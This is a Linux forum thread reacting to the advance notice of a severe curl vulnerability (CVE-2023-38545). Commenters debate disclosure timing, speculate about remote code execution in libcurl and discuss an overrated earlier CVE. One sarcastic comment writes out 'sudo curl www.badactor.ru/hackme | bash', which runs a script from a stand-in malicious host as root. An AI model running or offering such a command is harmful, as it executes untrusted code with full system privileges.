Linux @lemmy.ml taaz @biglemmowski.win 9 mo. ago

Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11 (CVE-2023-38545) · curl/curl · Discussion #12026

github.com Severity HIGH security problem to be announced with curl 8.4.0 on Oct 11 · curl/curl · Discussion #12026

We are cutting the release cycle short and will release curl 8.4.0 on October 11, including fixes for a severity HIGH CVE and one severity LOW. The one rated HIGH is probably the worst curl securit...

cross-posted from: https://biglemmowski.win/post/224873

Posted on twitter by Curl author Daniel Stenberg - https://nitter.cz/bagder/status/1709103920914526525

We are cutting the release cycle short and will release curl 8.4.0 on October 11, including a fix for a severity HIGH CVE. Buckle up.

... But this time actually the worst security problem found in curl in a long time

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38545

28 comments

It's vulnerabilities month or what?
- Bugtober?
  
  Spooky
- 🐛 month
There sure has been a lot of CVE's in the last couple of weeks!
- For real. One with .webp, one with privilege escalation, and now this.
- Canonical has been aggressively expanding their security team, and Levels.fyi showed last quarter that security researchers were some of the highest paid forms of software development.
  
  Doesn't guarantee anything long-term, but there's a few suggestions that security has gotten a larger focus lately.
  
  Good. There's so much chain of trust in the OSS community that it's hard to keep up with the tens of thousands of libraries that literally hold up the Internet.
  
  It's a shame we discover these critical bugs so late in the process, but at least we discover them at all...
Permanently Deleted
- ffmpeg has to be the runner up for most-got-damned-options.
  
  Ironically, most-god-damned-options is a valid ffmpeg argument list.
  
  I don't even bother to read the ffmpeg man page for its options. StackOverflow is the primary reference now.
I'd rather they didn't announce it existed before announcing what it is.. now we've got to sit around for a week potentially knowing the curl command could give someone root access or something.
- If they annoubce what is it, attackers could use the bug to exploit systems before people get chance to update.
  
  Though I worry its possible to know what the bug is by reviewing changes in curl source code
  
  The exploit is years old and has been unknown until recently, and they specifically didn't list which versions are affected to avoid making it easier to figure out through code changes.
  
  So don't announce anything.. keep it quiet until the fixes are ready.
  
  Now potential hackers know there's a flaw there and will be looking for it, and they have clear space to do so before anyone can fix it.
I don't see how a vulnerability in Curl can exist at all unless it's privilege escalation (you don't run curl as root do you?) And if it's not a privilege escalation, then it sounds like it's just a "root user can do things that you can do as root, possibly unintended" which isn't a vulnerability at all.

sudo curl www.badactor.ru/hackme | bash !!!!
- Could be an RCE exploit. Doesn't matter if it's privilege escalation at that point because it can be used to execute a payload that can.
  
  To top it of it seems it's also contained in libcurl, and getting RCEd just by doing a request does not sound fun.
  
  I'll admit i'm out of my depth about exactly how curl works on the local system, but surely if there is a vulnerability in the "libcurl" library that is much more serious and severe then just saying "curl" is vulnerable.
  
  I'm assuming that libcurl touches a huge amount of the linux network stack.
- Could be something curl parses that escapes the intended program boundaries. Basically the same way the latest image vulnerabilities affecting iOS, Android and browsers has been happening
Crying wolf again, or is it actually an issue?
- Here is an alternative Piped link(s):
  
  again
  
  Piped is a privacy-respecting open-source alternative frontend to YouTube.
  
  I'm open-source; check me out at GitHub.
Didn't Daniel Stenberg just go on a bitchfit a month ago about how CVE is bad and useless and wasting his time?
- Reading the blog post, it's a lot more nuanced than that: someone reported a CVE, which was related to a possible int overflow in client code handling the timeout between requests. NVD chose to grade this as a 9.8/10 on their severity scale (for context, CVE-2014-0160, also known as Heartbleed, got a 7.5/10), which is ludicrous for a bug which could at most change the retry timeout of your request from your intended years to a few seconds. Daniel says that this is not a security vulnerability at all and has no business being listed on the CVE database, whereas NVD argues that it's a bug, it's been reported to them and because overflows are undefined behavior, anything can happen and so it's a security vulnerability.
  
  In the end, they agreed to at least adjust the severity down to a 3.3, but I can understand that Daniel is still somewhat miffed about it. Personally I also agree that it's not really a security issue and that even a 3.3 is too high in terms of severity.
- Are we reading the same article? I read it when it came out, and read it a second time now. The article:
  
  is not a bitchfit
  
  nowhere states CVE is bad or useless (it even links a list of CVEs directly hosted on curl’s website)
  
  The article is about missing checks in the CVE ecosystem that allows useless fearmongering perpetrated by badly filed CVEs to spread, citing one particular CVE as exemplary of all the faults
  
  Are we reading the same article?
  
  You assume they've read the article 😬
- I'm not sure, but I think they're able to review their own CVEs now, or at least they were trying to be able to after 2020-19909. Because companies like Microsoft, Intel, and stuff already do. (I believe the term is CNA)

You've viewed 28 comments.